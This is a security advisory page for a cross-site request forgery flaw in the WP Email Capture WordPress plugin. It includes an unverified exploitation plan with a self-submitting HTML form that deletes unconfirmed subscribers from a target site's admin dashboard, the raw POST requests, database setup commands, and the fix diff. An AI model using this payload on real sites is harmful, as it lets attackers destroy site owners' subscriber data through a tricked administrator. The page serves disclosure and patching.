CVE-2025-68529

Email Capture <= 3.12.5 - Cross-Site Request Forgery

mediumCross-Site Request Forgery (CSRF)
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
3.12.6
Patched in
7d
Time to patch

Description

The Email Marketing Plugin – WP Email Capture plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.12.5. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to perform an unauthorized action granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.12.5
PublishedDecember 31, 2025
Last updatedJanuary 6, 2026
Affected pluginwp-email-capture

What Changed in the Fix

Changes introduced in v3.12.6

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-68529 (WP Email Capture CSRF) ## 1. Vulnerability Summary The **WP Email Capture** plugin (versions <= 3.12.5) contains a Cross-Site Request Forgery (CSRF) vulnerability in its dashboard management features. The plugin registers a dashboard widget that allows …

Show full research plan

Exploitation Research Plan: CVE-2025-68529 (WP Email Capture CSRF)

1. Vulnerability Summary

The WP Email Capture plugin (versions <= 3.12.5) contains a Cross-Site Request Forgery (CSRF) vulnerability in its dashboard management features. The plugin registers a dashboard widget that allows administrators to export the subscriber list and truncate (delete) unconfirmed email addresses. However, the forms responsible for these actions do not include WordPress nonces, and the processing function hooked to admin_init fails to verify the request source. An unauthenticated attacker can trick a logged-in administrator into visiting a malicious page that automatically submits these forms, leading to unauthorized data deletion or triggering an export.

2. Attack Vector Analysis

  • Target Endpoint: /wp-admin/index.php (Any admin page where admin_init fires).
  • Vulnerable Hook: admin_init calls wp_email_capture_options_process.
  • Action/Parameters:
    • wp_email_capture_truncate: Triggers the deletion of unconfirmed email addresses from the temporary table.
    • wp_email_capture_export: Triggers a CSV export of the subscriber list.
  • Authentication Level: None (requires a logged-in Administrator victim).
  • Preconditions: The victim must be an administrator with the manage_options capability (or the capability defined in the wp_email_capture_dashboard_capability filter).

3. Code Flow

  1. Entry Point: In wp-email-capture.php, the plugin registers the processing function:
    add_action( 'admin_init', 'wp_email_capture_options_process' );
    
  2. Widget Display: In inc/dashboard.php, the function wp_email_capture_dashboard_widget() renders two forms. Note the total lack of wp_nonce_field():
    // Form 1: Export
    echo '<form name="wp_email_capture_export" action="' . esc_url( $_SERVER['REQUEST_URI'] ) . '#list" method="post">';
    echo '<input type="hidden" name="wp_email_capture_export" />';
    // ...
    // Form 2: Truncate
    echo '<form name="wp_email_capture_truncate" action="' . esc_url( $_SERVER['REQUEST_URI'] ) . '#truncate" method="post">';
    echo '<input type="hidden" name="wp_email_capture_truncate"/>';
    
  3. Processing (Inferred): When the administrator loads an admin page with a POST request containing wp_email_capture_truncate, wp_email_capture_options_process (likely in inc/core.php) checks for the presence of this key in $_POST.
  4. Sink: Since no check_admin_referer() or wp_verify_nonce() is called within the processing logic, the plugin proceeds to call the deletion routine (e.g., executing a TRUNCATE or DELETE query on the WP_EMAIL_CAPTURE_TEMP_MEMBERS_TABLE).

4. Nonce Acquisition Strategy

No nonce is required.
The vulnerability exists specifically because the plugin fails to implement nonce validation on the affected actions. The processing logic in wp_email_capture_options_process does not verify a _wpnonce parameter.

5. Exploitation Strategy

The goal is to perform a CSRF attack to delete unconfirmed email addresses from the database.

Step 1: Create the Exploit Payload

We will use a hidden HTML form that auto-submits to the WordPress dashboard.

<html>
  <body>
    <form id="csrf-form" action="http://TARGET_URL/wp-admin/index.php" method="POST">
      <input type="hidden" name="wp_email_capture_truncate" value="" />
      <input type="submit" value="Submit" />
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>

Step 2: Trigger the Exploit

Use the http_request tool to simulate the administrator's browser submitting the request.

  • URL: http://localhost:8080/wp-admin/index.php
  • Method: POST
  • Headers:
    • Content-Type: application/x-www-form-urlencoded
  • Body: wp_email_capture_truncate=

6. Test Data Setup

To verify the exploit, we must first populate the temporary members table:

  1. Identify the table name: Usually wp_wp_email_capture_temp_members.
  2. Insert dummy data via WP-CLI:
    wp db query "INSERT INTO wp_wp_email_capture_temp_members (name, email, confirmstring) VALUES ('Target User', 'target@example.com', '123456');"
    
  3. Verify data exists:
    wp db query "SELECT COUNT(*) FROM wp_wp_email_capture_temp_members;"
    

7. Expected Results

  • HTTP Response: The request should return a 302 Redirect or a 200 OK (Dashboard page).
  • Behavior: The plugin will process the wp_email_capture_truncate parameter and delete the rows in the temporary members table.
  • UI Confirmation: If the victim were looking at the dashboard widget, the count of "Temporary e-mails" would drop to zero.

8. Verification Steps

After executing the HTTP request, verify the database state using WP-CLI:

# Check if the temporary table is empty
wp db query "SELECT COUNT(*) FROM wp_wp_email_capture_temp_members;"
# Expected Output: 0

9. Alternative Approaches

If the wp_email_capture_truncate action is too narrow, the wp_email_capture_export action can be used to force the server to generate a CSV export. While a standard CSRF cannot read the contents of the CSV due to the Same-Origin Policy (SOP), triggering large exports repeatedly can be used for minor resource exhaustion or as a component in a more complex attack chain.

To trigger the export:

  • Body: wp_email_capture_export=
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Email Capture plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to 3.12.5. This occurs because administrative actions, specifically exporting the subscriber list and deleting unconfirmed email addresses, are processed via the `admin_init` hook without verifying a security nonce. An attacker can exploit this by tricking a logged-in administrator into visiting a malicious site that triggers these actions on the vulnerable WordPress installation.

Vulnerable Code

// wp-email-capture.php line 51
	add_action( 'admin_init', 'wp_email_capture_options_process' );

---

// inc/dashboard.php line 11
	echo '<br/><br/><a name="list"></a><strong>' . __( 'Export', 'wp-email-capture' ) . '</strong>';
	echo '<form name="wp_email_capture_export" action="' . esc_url( $_SERVER['REQUEST_URI'] ) . '#list" method="post">';
	echo '<label>' . __( 'Use the button below to export your list as a CSV to use in software such as', 'wp-email-capture' ) . ' <a href="https://www.wpemailcapture.com/recommends/aweber/" title="Email Marketing">Aweber</a>.</label>';
	echo '<input type="hidden" name="wp_email_capture_export" />';
	echo '<div class="submit"><input type="submit" value="' . __( 'Export List', 'wp-email-capture') . '" class="button" /></div>';
	echo '</form><br/><br/>';

---

// inc/dashboard.php line 31
	echo "<a name='truncate'></a><strong>" . __( 'Temporary e-mails', 'wp-email-capture' ) . "</strong>\n";
	echo '<form name="wp_email_capture_truncate" action="' . esc_url( $_SERVER['REQUEST_URI'] ) . '#truncate" method="post">';
	echo '<label>' . __( 'There are', 'wp-email-capture' ) . ' ' . $tempemails . ' ' . __( 'e-mail addresses that have been unconfirmed.' . $lastsignupdatesentance . ' Delete them to save space below.', 'wp-email-capture' ) . '</label>';

	echo '<input type="hidden" name="wp_email_capture_truncate"/>';
	echo '<div class="submit"><input type="submit" value="' . __( 'Delete Unconfirmed e-mail Addresses', 'wp-email-capture' ) . '" class="button"  /></div>';
	echo '</form>';

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-email-capture/3.12.5/inc/dashboard.php /home/deploy/wp-safety.org/data/plugin-versions/wp-email-capture/3.12.6/inc/dashboard.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-email-capture/3.12.5/inc/dashboard.php	2018-06-04 16:38:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-email-capture/3.12.6/inc/dashboard.php	2025-12-11 10:03:42.000000000 +0000
@@ -8,10 +8,13 @@
 
 	wp_email_capture_writetable( 3, '<strong>' . __( 'Last Three Members To Join', 'wp-email-capture' ) . '</strong><br/><br/>' );
 
+	$nonce = wp_create_nonce( 'wp-email-capture-export-nonce' );
+
 	echo '<br/><br/><a name="list"></a><strong>' . __( 'Export', 'wp-email-capture' ) . '</strong>';
 	echo '<form name="wp_email_capture_export" action="' . esc_url( $_SERVER['REQUEST_URI'] ) . '#list" method="post">';
 	echo '<label>' . __( 'Use the button below to export your list as a CSV to use in software such as', 'wp-email-capture' ) . ' <a href="https://www.wpemailcapture.com/recommends/aweber/" title="Email Marketing">Aweber</a>.</label>';
 	echo '<input type="hidden" name="wp_email_capture_export" />';
+	echo '<input type="hidden" name="wp_email_capture_export_nonce" value="' . esc_attr( $nonce ) . '"/>';
 	echo '<div class="submit"><input type="submit" value="' . __( 'Export List', 'wp-email-capture') . '" class="button" /></div>';
 	echo '</form><br/><br/>';
 
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-email-capture/3.12.5/inc/options.php /home/deploy/wp-safety.org/data/plugin-versions/wp-email-capture/3.12.6/inc/options.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-email-capture/3.12.5/inc/options.php	2025-11-30 12:07:28.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-email-capture/3.12.6/inc/options.php	2025-12-11 10:03:42.000000000 +0000
@@ -562,11 +562,14 @@
 
 	wp_email_capture_writetable();
 
+	$nonce = wp_create_nonce( 'wp-email-capture-export-nonce' );
+
 	echo '<a name="list"></a><h3>' . __('Export', 'wp-email-capture') . '</h3>
 				<form name="wp_email_capture_export" action="' . esc_url($_SERVER['REQUEST_URI']) . '#list" method="post">
 
 					<label>' . __('Use the button below to export your list as a CSV to use in software such as <a href="https://www.wpemailcapture.com/recommends/aweber" title="Email Marketing">Aweber</a> or <a href="https://www.wpemailcapture.com/recommends/constant-contact/">Constant Contact</a>', 'wp-email-capture') . '</label>
 					<input type="hidden" name="wp_email_capture_export" />
+					<input type="hidden" name="wp_email_capture_export_nonce" value="' . esc_attr( $nonce ) . '"/>
 					<div class="submit">
 						<input type="submit" value="' . __('Export List', 'wp-email-capture') . '" class="button"  />
 					</div>
@@ -654,7 +657,13 @@
 
 		if (is_user_logged_in() ) {
 			if ( current_user_can('administrator') ) {
-				wp_email_capture_export();
+
+				$verify = wp_verify_nonce( $_REQUEST['wp_email_capture_export_nonce'], 'wp-email-capture-export-nonce' );
+				if ( $verify ) {
+					wp_email_capture_export();
+				} else {
+					wp_die( "Unable to download, security check failed." );
+				}
 			} else {
 				wp_die( "Admin's Only Please" );
 			}

Exploit Outline

The vulnerability allows an unauthenticated attacker to perform sensitive administrative actions by leveraging a logged-in administrator's session. The attacker crafts a malicious web page that automatically sends a POST request to the target site's dashboard (e.g., /wp-admin/index.php). The request contains either the 'wp_email_capture_truncate' or 'wp_email_capture_export' parameter. Because the plugin does not verify nonces in its 'admin_init' processing logic, the action is executed automatically if the victim is authenticated as an administrator.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.